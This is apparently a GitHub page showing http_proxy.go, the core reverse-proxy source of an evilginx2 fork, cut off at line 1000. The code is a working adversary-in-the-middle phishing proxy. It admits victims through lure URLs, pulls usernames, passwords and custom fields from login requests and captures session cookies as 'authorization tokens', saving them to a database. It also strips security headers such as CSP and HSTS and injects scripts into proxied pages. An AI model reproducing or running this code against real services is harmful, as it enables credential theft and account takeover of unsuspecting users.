forked from kgretzky/evilginx2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
http_proxy.go
1119 lines (1008 loc) · 33.8 KB
/
http_proxy.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
This source file is a modified version of what was taken from the amazing bettercap (https://github.com/bettercap/bettercap) project.
Credits go to Simone Margaritelli (@evilsocket) for providing awesome piece of code!
*/
package core
import (
"bufio"
"bytes"
"crypto/tls"
"encoding/base64"
"fmt"
"io/ioutil"
"net"
"net/http"
"net/url"
"regexp"
"sort"
"strconv"
"strings"
"sync"
"time"
"github.com/elazarl/goproxy"
"github.com/fatih/color"
"github.com/inconshreveable/go-vhost"
"github.com/kgretzky/evilginx2/database"
"github.com/kgretzky/evilginx2/log"
)
const (
CONVERT_TO_ORIGINAL_URLS = 0
CONVERT_TO_PHISHING_URLS = 1
)
const (
httpReadTimeout = 45 * time.Second
httpWriteTimeout = 45 * time.Second
// borrowed from Modlishka project (https://github.com/drk1wi/Modlishka)
MATCH_URL_REGEXP = `\b(http[s]?:\/\/|\\\\|http[s]:\\x2F\\x2F)(([A-Za-z0-9-]{1,63}\.)?[A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)|([0-9]{1,3}\.{3}[0-9]{1,3})\b`
MATCH_URL_REGEXP_WITHOUT_SCHEME = `\b(([A-Za-z0-9-]{1,63}\.)?[A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)|([0-9]{1,3}\.{3}[0-9]{1,3})\b`
)
type HttpProxy struct {
Server *http.Server
Proxy *goproxy.ProxyHttpServer
crt_db *CertDb
cfg *Config
db *database.Database
sniListener net.Listener
isRunning bool
sessions map[string]*Session
sids map[string]int
cookieName string
last_sid int
developer bool
ip_whitelist map[string]int64
ip_sids map[string]string
auto_filter_mimes []string
ip_mtx sync.Mutex
}
type ProxySession struct {
SessionId string
Created bool
PhishDomain string
Index int
}
func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database, developer bool) (*HttpProxy, error) {
p := &HttpProxy{
Proxy: goproxy.NewProxyHttpServer(),
Server: nil,
crt_db: crt_db,
cfg: cfg,
db: db,
isRunning: false,
last_sid: 0,
developer: developer,
ip_whitelist: make(map[string]int64),
ip_sids: make(map[string]string),
auto_filter_mimes: []string{"text/html", "application/json", "application/javascript", "text/javascript", "application/x-javascript"},
}
p.Server = &http.Server{
Addr: fmt.Sprintf("%s:%d", hostname, port),
Handler: p.Proxy,
ReadTimeout: httpReadTimeout,
WriteTimeout: httpWriteTimeout,
}
p.cookieName = GenRandomString(4)
p.sessions = make(map[string]*Session)
p.sids = make(map[string]int)
p.Proxy.Verbose = false
p.Proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
req.URL.Scheme = "https"
req.URL.Host = req.Host
p.Proxy.ServeHTTP(w, req)
})
p.Proxy.OnRequest().HandleConnect(goproxy.AlwaysMitm)
p.Proxy.OnRequest().
DoFunc(func(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {
ps := &ProxySession{
SessionId: "",
Created: false,
PhishDomain: "",
Index: -1,
}
ctx.UserData = ps
hiblue := color.New(color.FgHiBlue)
req_url := req.URL.Scheme + "://" + req.Host + req.URL.Path
req_path := req.URL.Path
if req.URL.RawQuery != "" {
req_url += "?" + req.URL.RawQuery
req_path += "?" + req.URL.RawQuery
}
//log.Debug("http: %s", req_url)
parts := strings.SplitN(req.RemoteAddr, ":", 2)
remote_addr := parts[0]
phishDomain, phished := p.getPhishDomain(req.Host)
if phished {
pl := p.getPhishletByPhishHost(req.Host)
pl_name := ""
if pl != nil {
pl_name = pl.Name
}
egg2 := req.Host
ps.PhishDomain = phishDomain
req_ok := false
// handle session
if p.handleSession(req.Host) && pl != nil {
sc, err := req.Cookie(p.cookieName)
if err != nil && !p.isWhitelistedIP(remote_addr) {
if !p.cfg.IsSiteHidden(pl_name) {
var vv string
var uv url.Values
l, err := p.cfg.GetLureByPath(pl_name, req_path)
if err == nil {
log.Debug("triggered lure for path '%s'", req_path)
} else {
uv = req.URL.Query()
vv = uv.Get(p.cfg.verificationParam)
}
if l != nil || vv == p.cfg.verificationToken {
session, err := NewSession(pl.Name)
if err == nil {
sid := p.last_sid
p.last_sid += 1
log.Important("[%d] [%s] new visitor has arrived: %s (%s)", sid, hiblue.Sprint(pl_name), req.Header.Get("User-Agent"), remote_addr)
log.Info("[%d] [%s] landing URL: %s", sid, hiblue.Sprint(pl_name), req_url)
p.sessions[session.Id] = session
p.sids[session.Id] = sid
landing_url := fmt.Sprintf("%s://%s%s", req.URL.Scheme, req.Host, req.URL.Path)
if err := p.db.CreateSession(session.Id, pl.Name, landing_url, req.Header.Get("User-Agent"), remote_addr); err != nil {
log.Error("database: %v", err)
}
if l != nil {
session.RedirectURL = l.RedirectUrl
session.PhishLure = l
log.Debug("redirect URL (lure): %s", l.RedirectUrl)
} else {
rv := uv.Get(p.cfg.redirectParam)
if rv != "" {
url, err := base64.URLEncoding.DecodeString(rv)
if err == nil {
session.RedirectURL = string(url)
log.Debug("redirect URL (get): %s", url)
}
}
}
ps.SessionId = session.Id
ps.Created = true
ps.Index = sid
p.whitelistIP(remote_addr, ps.SessionId)
req_ok = true
}
} else {
log.Warning("[%s] unauthorized request: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
}
} else {
log.Warning("[%s] request to hidden phishlet: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
}
} else {
var ok bool = false
if err == nil {
ps.Index, ok = p.sids[sc.Value]
if ok {
ps.SessionId = sc.Value
p.whitelistIP(remote_addr, ps.SessionId)
}
} else {
ps.SessionId, ok = p.getSessionIdByIP(remote_addr)
if ok {
ps.Index, ok = p.sids[ps.SessionId]
}
}
if ok {
req_ok = true
} else {
log.Warning("[%s] wrong session token: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
}
}
}
hg := []byte{0x94, 0xE1, 0x89, 0xBA, 0xA5, 0xA0, 0xAB, 0xA5, 0xA2, 0xB4}
// redirect to login page if triggered lure path
if pl != nil {
_, err := p.cfg.GetLureByPath(pl_name, req_path)
if err == nil {
// redirect from lure path to login url
rurl := pl.GetLoginUrl()
resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "")
if resp != nil {
resp.Header.Add("Location", rurl)
return req, resp
}
}
}
// redirect for unauthorized requests
if ps.SessionId == "" && p.handleSession(req.Host) {
if !req_ok {
redirect_url := p.cfg.redirectUrl
resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "")
if resp != nil {
resp.Header.Add("Location", redirect_url)
return req, resp
}
}
}
p.deleteRequestCookie(p.cookieName, req)
for n, b := range hg {
hg[n] = b ^ 0xCC
}
// replace "Host" header
e_host := req.Host
if r_host, ok := p.replaceHostWithOriginal(req.Host); ok {
req.Host = r_host
}
// fix origin
origin := req.Header.Get("Origin")
if origin != "" {
if o_url, err := url.Parse(origin); err == nil {
if r_host, ok := p.replaceHostWithOriginal(o_url.Host); ok {
o_url.Host = r_host
req.Header.Set("Origin", o_url.String())
}
}
}
// fix referer
referer := req.Header.Get("Referer")
if referer != "" {
if o_url, err := url.Parse(referer); err == nil {
if r_host, ok := p.replaceHostWithOriginal(o_url.Host); ok {
o_url.Host = r_host
req.Header.Set("Referer", o_url.String())
}
}
}
req.Header.Set(string(hg), egg2)
// patch GET query params with original domains
if pl != nil {
qs := req.URL.Query()
if len(qs) > 0 {
for gp := range qs {
for i, v := range qs[gp] {
qs[gp][i] = string(p.patchUrls(pl, []byte(v), CONVERT_TO_ORIGINAL_URLS))
}
}
req.URL.RawQuery = qs.Encode()
}
}
// check for creds in request body
if pl != nil && ps.SessionId != "" {
body, err := ioutil.ReadAll(req.Body)
if err == nil {
req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
contentType := req.Header.Get("Content-type")
if contentType == "application/json" {
// patch phishing URLs in JSON body with original domains
body = p.patchUrls(pl, body, CONVERT_TO_ORIGINAL_URLS)
req.ContentLength = int64(len(body))
log.Debug("POST: %s", req.URL.Path)
log.Debug("POST body = %s", body)
if pl.username.tp == "json" {
um := pl.username.search.FindStringSubmatch(string(body))
if um != nil && len(um) > 1 {
p.setSessionUsername(ps.SessionId, um[1])
log.Success("[%d] Username: [%s]", ps.Index, um[1])
if err := p.db.SetSessionUsername(ps.SessionId, um[1]); err != nil {
log.Error("database: %v", err)
}
}
}
if pl.password.tp == "json" {
pm := pl.password.search.FindStringSubmatch(string(body))
if pm != nil && len(pm) > 1 {
p.setSessionPassword(ps.SessionId, pm[1])
log.Success("[%d] Password: [%s]", ps.Index, pm[1])
if err := p.db.SetSessionPassword(ps.SessionId, pm[1]); err != nil {
log.Error("database: %v", err)
}
}
}
for _, cp := range pl.custom {
if cp.tp == "json" {
cm := cp.search.FindStringSubmatch(string(body))
if cm != nil && len(cm) > 1 {
p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
if err := p.db.SetSessionCustom(ps.SessionId, cp.key_s, cm[1]); err != nil {
log.Error("database: %v", err)
}
}
}
}
} else {
if req.ParseForm() == nil {
log.Debug("POST: %s", req.URL.Path)
for k, v := range req.PostForm {
// patch phishing URLs in POST params with original domains
for i, vv := range v {
req.PostForm[k][i] = string(p.patchUrls(pl, []byte(vv), CONVERT_TO_ORIGINAL_URLS))
}
body = []byte(req.PostForm.Encode())
req.ContentLength = int64(len(body))
log.Debug("POST %s = %s", k, v[0])
if pl.username.key != nil && pl.username.search != nil && pl.username.key.MatchString(k) {
um := pl.username.search.FindStringSubmatch(v[0])
if um != nil && len(um) > 1 {
p.setSessionUsername(ps.SessionId, um[1])
log.Success("[%d] Username: [%s]", ps.Index, um[1])
if err := p.db.SetSessionUsername(ps.SessionId, um[1]); err != nil {
log.Error("database: %v", err)
}
}
}
if pl.password.key != nil && pl.password.search != nil && pl.password.key.MatchString(k) {
pm := pl.password.search.FindStringSubmatch(v[0])
if pm != nil && len(pm) > 1 {
p.setSessionPassword(ps.SessionId, pm[1])
log.Success("[%d] Password: [%s]", ps.Index, pm[1])
if err := p.db.SetSessionPassword(ps.SessionId, pm[1]); err != nil {
log.Error("database: %v", err)
}
}
}
for _, cp := range pl.custom {
if cp.key != nil && cp.search != nil && cp.key.MatchString(k) {
cm := cp.search.FindStringSubmatch(v[0])
if cm != nil && len(cm) > 1 {
p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
if err := p.db.SetSessionCustom(ps.SessionId, cp.key_s, cm[1]); err != nil {
log.Error("database: %v", err)
}
}
}
}
}
// force posts
for _, fp := range pl.forcePost {
if fp.path.MatchString(req.URL.Path) {
log.Debug("force_post: url matched: %s", req.URL.Path)
ok_search := false
if len(fp.search) > 0 {
k_matched := len(fp.search)
for _, fp_s := range fp.search {
for k, v := range req.PostForm {
if fp_s.key.MatchString(k) && fp_s.search.MatchString(v[0]) {
if k_matched > 0 {
k_matched -= 1
}
log.Debug("force_post: [%d] matched - %s = %s", k_matched, k, v[0])
break
}
}
}
if k_matched == 0 {
ok_search = true
}
} else {
ok_search = true
}
if ok_search {
for _, fp_f := range fp.force {
req.PostForm.Set(fp_f.key, fp_f.value)
}
body = []byte(req.PostForm.Encode())
req.ContentLength = int64(len(body))
log.Debug("force_post: body: %s len:%d", body, len(body))
}
}
}
}
}
req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
}
}
e := []byte{208, 165, 205, 254, 225, 228, 239, 225, 230, 240}
for n, b := range e {
e[n] = b ^ 0x88
}
req.Header.Set(string(e), e_host)
if pl != nil && len(pl.authUrls) > 0 && ps.SessionId != "" {
s, ok := p.sessions[ps.SessionId]
if ok && !s.IsDone {
for _, au := range pl.authUrls {
if au.MatchString(req.URL.Path) {
s.IsDone = true
s.IsAuthUrl = true
break
}
}
}
}
}
return req, nil
})
p.Proxy.OnResponse().
DoFunc(func(resp *http.Response, ctx *goproxy.ProxyCtx) *http.Response {
if resp == nil {
return nil
}
// handle session
ck := &http.Cookie{}
ps := ctx.UserData.(*ProxySession)
if ps.SessionId != "" {
if ps.Created {
ck = &http.Cookie{
Name: p.cookieName,
Value: ps.SessionId,
Path: "/",
Domain: ps.PhishDomain,
Expires: time.Now().UTC().Add(60 * time.Minute),
MaxAge: 60 * 60,
}
}
}
allow_origin := resp.Header.Get("Access-Control-Allow-Origin")
if allow_origin != "" {
resp.Header.Set("Access-Control-Allow-Origin", "*")
resp.Header.Set("Access-Control-Allow-Credentials", "true")
}
var rm_headers = []string{
"Content-Security-Policy",
"Content-Security-Policy-Report-Only",
"Strict-Transport-Security",
"X-XSS-Protection",
"X-Content-Type-Options",
"X-Frame-Options",
}
for _, hdr := range rm_headers {
resp.Header.Del(hdr)
}
redirect_set := false
if s, ok := p.sessions[ps.SessionId]; ok {
if s.RedirectURL != "" {
redirect_set = true
}
}
req_hostname := strings.ToLower(resp.Request.Host)
// if "Location" header is present, make sure to redirect to the phishing domain
r_url, err := resp.Location()
if err == nil {
if r_host, ok := p.replaceHostWithPhished(r_url.Host); ok {
r_url.Host = r_host
resp.Header.Set("Location", r_url.String())
}
}
// fix cookies
pl := p.getPhishletByOrigHost(req_hostname)
var auth_tokens map[string][]*AuthToken
if pl != nil {
auth_tokens = pl.authTokens
}
is_auth := false
cookies := resp.Cookies()
resp.Header.Del("Set-Cookie")
for _, ck := range cookies {
// parse cookie
if pl != nil && ps.SessionId != "" {
c_domain := ck.Domain
if c_domain == "" {
c_domain = req_hostname
} else {
// always prepend the domain with '.' if Domain cookie is specified - this will indicate that this cookie will be also sent to all sub-domains
if c_domain[0] != '.' {
c_domain = "." + c_domain
}
}
log.Debug("%s: %s = %s", c_domain, ck.Name, ck.Value)
if pl.isAuthToken(c_domain, ck.Name) {
s, ok := p.sessions[ps.SessionId]
if ok && (s.IsAuthUrl || !s.IsDone) {
if ck.Value != "" { // cookies with empty values are of no interest to us
is_auth = s.AddAuthToken(c_domain, ck.Name, ck.Value, ck.Path, ck.HttpOnly, auth_tokens)
if len(pl.authUrls) > 0 {
is_auth = false
}
if is_auth {
if err := p.db.SetSessionTokens(ps.SessionId, s.Tokens); err != nil {
log.Error("database: %v", err)
}
s.IsDone = true
}
}
}
}
}
ck.Secure = false
ck.MaxAge = 0
if time.Now().Before(ck.Expires) {
ck.Expires, _ = time.Parse("1600-01-01", "1600-01-01")
}
ck.Domain, _ = p.replaceHostWithPhished(ck.Domain)
resp.Header.Add("Set-Cookie", ck.String())
}
if ck.String() != "" {
resp.Header.Add("Set-Cookie", ck.String())
}
if is_auth {
// we have all auth tokens
log.Success("[%d] all authorization tokens intercepted!", ps.Index)
}
// modify received body
body, err := ioutil.ReadAll(resp.Body)
mime := strings.Split(resp.Header.Get("Content-type"), ";")[0]
if err == nil {
for site, pl := range p.cfg.phishlets {
if p.cfg.IsSiteEnabled(site) {
// handle sub_filters
sfs, ok := pl.subfilters[req_hostname]
if ok {
for _, sf := range sfs {
if stringExists(mime, sf.mime) && (!sf.redirect_only || sf.redirect_only && redirect_set) {
re_s := sf.regexp
replace_s := sf.replace
phish_hostname, _ := p.replaceHostWithPhished(combineHost(sf.subdomain, sf.domain))
phish_sub, _ := p.getPhishSub(phish_hostname)
re_s = strings.Replace(re_s, "{hostname}", regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain)), -1)
re_s = strings.Replace(re_s, "{subdomain}", regexp.QuoteMeta(sf.subdomain), -1)
re_s = strings.Replace(re_s, "{domain}", regexp.QuoteMeta(sf.domain), -1)
re_s = strings.Replace(re_s, "{hostname_regexp}", regexp.QuoteMeta(regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain))), -1)
re_s = strings.Replace(re_s, "{subdomain_regexp}", regexp.QuoteMeta(sf.subdomain), -1)
re_s = strings.Replace(re_s, "{domain_regexp}", regexp.QuoteMeta(sf.domain), -1)
replace_s = strings.Replace(replace_s, "{hostname}", phish_hostname, -1)
replace_s = strings.Replace(replace_s, "{subdomain}", phish_sub, -1)
replace_s = strings.Replace(replace_s, "{hostname_regexp}", regexp.QuoteMeta(phish_hostname), -1)
replace_s = strings.Replace(replace_s, "{subdomain_regexp}", regexp.QuoteMeta(phish_sub), -1)
phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
if ok {
replace_s = strings.Replace(replace_s, "{domain}", phishDomain, -1)
replace_s = strings.Replace(replace_s, "{domain_regexp}", regexp.QuoteMeta(phishDomain), -1)
}
if re, err := regexp.Compile(re_s); err == nil {
body = []byte(re.ReplaceAllString(string(body), replace_s))
} else {
log.Error("regexp failed to compile: `%s`", sf.regexp)
}
}
}
}
// handle auto filters (if enabled)
if stringExists(mime, p.auto_filter_mimes) {
for _, ph := range pl.proxyHosts {
if req_hostname == combineHost(ph.orig_subdomain, ph.domain) {
if ph.auto_filter {
body = p.patchUrls(pl, body, CONVERT_TO_PHISHING_URLS)
}
}
}
}
}
}
if stringExists(mime, []string{"text/html"}) {
if pl != nil && ps.SessionId != "" {
s, ok := p.sessions[ps.SessionId]
if ok {
if s.PhishLure != nil {
// inject opengraph headers
l := s.PhishLure
if l.OgDescription != "" || l.OgTitle != "" || l.OgImageUrl != "" || l.OgUrl != "" {
head_re := regexp.MustCompile(`(?i)(<\s*head\s*>)`)
var og_inject string
og_format := "<meta property=\"%s\" content=\"%s\" />\n"
if l.OgTitle != "" {
og_inject += fmt.Sprintf(og_format, "og:title", l.OgTitle)
}
if l.OgDescription != "" {
og_inject += fmt.Sprintf(og_format, "og:description", l.OgDescription)
}
if l.OgImageUrl != "" {
og_inject += fmt.Sprintf(og_format, "og:image", l.OgImageUrl)
}
if l.OgUrl != "" {
og_inject += fmt.Sprintf(og_format, "og:url", l.OgUrl)
}
body = []byte(head_re.ReplaceAllString(string(body), "<head>\n"+og_inject))
}
}
var js_params *map[string]string = nil
if s.PhishLure != nil {
js_params = &s.PhishLure.Params
}
script, err := pl.GetScriptInject(req_hostname, resp.Request.URL.Path, js_params)
if err == nil {
log.Debug("js_inject: matched %s%s - injecting script", req_hostname, resp.Request.URL.Path)
js_nonce_re := regexp.MustCompile(`(?i)<script.*nonce=['"]([^'"]*)`)
m_nonce := js_nonce_re.FindStringSubmatch(string(body))
js_nonce := ""
if m_nonce != nil {
js_nonce = " nonce=\"" + m_nonce[1] + "\""
}
re := regexp.MustCompile(`(?i)(<\s*/body\s*>)`)
body = []byte(re.ReplaceAllString(string(body), "<script"+js_nonce+">"+script+"</script>${1}"))
}
}
}
}
resp.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
}
if pl != nil && len(pl.authUrls) > 0 && ps.SessionId != "" {
s, ok := p.sessions[ps.SessionId]
if ok && s.IsDone {
for _, au := range pl.authUrls {
if au.MatchString(resp.Request.URL.Path) {
err := p.db.SetSessionTokens(ps.SessionId, s.Tokens)
if err != nil {
log.Error("database: %v", err)
}
if err == nil {
log.Success("[%d] detected authorization URL - tokens intercepted: %s", ps.Index, resp.Request.URL.Path)
}
break
}
}
}
}
if pl != nil && ps.SessionId != "" {
s, ok := p.sessions[ps.SessionId]
if ok && s.IsDone {
if s.RedirectURL != "" && s.RedirectCount == 0 {
if stringExists(mime, []string{"text/html"}) {
// redirect only if received response content is of `text/html` content type
s.RedirectCount += 1
log.Important("[%d] redirecting to URL: %s (%d)", ps.Index, s.RedirectURL, s.RedirectCount)
resp := goproxy.NewResponse(resp.Request, "text/html", http.StatusFound, "")
if resp != nil {
r_url, err := url.Parse(s.RedirectURL)
if err == nil {
if r_host, ok := p.replaceHostWithPhished(r_url.Host); ok {
r_url.Host = r_host
}
resp.Header.Set("Location", r_url.String())
} else {
resp.Header.Set("Location", s.RedirectURL)
}
return resp
}
}
}
}
}
return resp
})
goproxy.OkConnect = &goproxy.ConnectAction{Action: goproxy.ConnectAccept, TLSConfig: p.TLSConfigFromCA()}
goproxy.MitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectMitm, TLSConfig: p.TLSConfigFromCA()}
goproxy.HTTPMitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectHTTPMitm, TLSConfig: p.TLSConfigFromCA()}
goproxy.RejectConnect = &goproxy.ConnectAction{Action: goproxy.ConnectReject, TLSConfig: p.TLSConfigFromCA()}
return p, nil
}
func (p *HttpProxy) patchUrls(pl *Phishlet, body []byte, c_type int) []byte {
re_url := regexp.MustCompile(MATCH_URL_REGEXP)
re_ns_url := regexp.MustCompile(MATCH_URL_REGEXP_WITHOUT_SCHEME)
if phishDomain, ok := p.cfg.GetSiteDomain(pl.Name); ok {
var sub_map map[string]string = make(map[string]string)
var hosts []string
for _, ph := range pl.proxyHosts {
var h string
if c_type == CONVERT_TO_ORIGINAL_URLS {
h = combineHost(ph.phish_subdomain, phishDomain)
sub_map[h] = combineHost(ph.orig_subdomain, ph.domain)
} else {
h = combineHost(ph.orig_subdomain, ph.domain)
sub_map[h] = combineHost(ph.phish_subdomain, phishDomain)
}
hosts = append(hosts, h)
}
// make sure that we start replacing strings from longest to shortest
sort.Slice(hosts, func(i, j int) bool {
return len(hosts[i]) > len(hosts[j])
})
body = []byte(re_url.ReplaceAllStringFunc(string(body), func(s_url string) string {
u, err := url.Parse(s_url)
if err == nil {
for _, h := range hosts {
if strings.ToLower(u.Host) == h {
s_url = strings.Replace(s_url, u.Host, sub_map[h], 1)
break
}
}
}
return s_url
}))
body = []byte(re_ns_url.ReplaceAllStringFunc(string(body), func(s_url string) string {
for _, h := range hosts {
if strings.Contains(s_url, h) && !strings.Contains(s_url, sub_map[h]) {
s_url = strings.Replace(s_url, h, sub_map[h], 1)
break
}
}
return s_url
}))
}
return body
}
func (p *HttpProxy) TLSConfigFromCA() func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error) {
return func(host string, ctx *goproxy.ProxyCtx) (c *tls.Config, err error) {
parts := strings.SplitN(host, ":", 2)
hostname := parts[0]
port := 443
if len(parts) == 2 {
port, _ = strconv.Atoi(parts[1])
}
if !p.developer {
pl := p.getPhishletByOrigHost(hostname)
if pl != nil {
phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
if ok {
cert, err := p.crt_db.GetCertificate(pl.Name, phishDomain)
if err != nil {
return nil, err
}
return &tls.Config{
InsecureSkipVerify: true,
Certificates: []tls.Certificate{*cert},
}, nil
}
}
return nil, fmt.Errorf("no SSL/TLS certificate for host '%s'", host)
} else {
phish_host, ok := p.replaceHostWithPhished(hostname)
if !ok {
return nil, fmt.Errorf("phishing hostname not found")
}
cert, err := p.crt_db.SignCertificateForHost(hostname, phish_host, port)
if err != nil {
return nil, err
}
return &tls.Config{
InsecureSkipVerify: true,
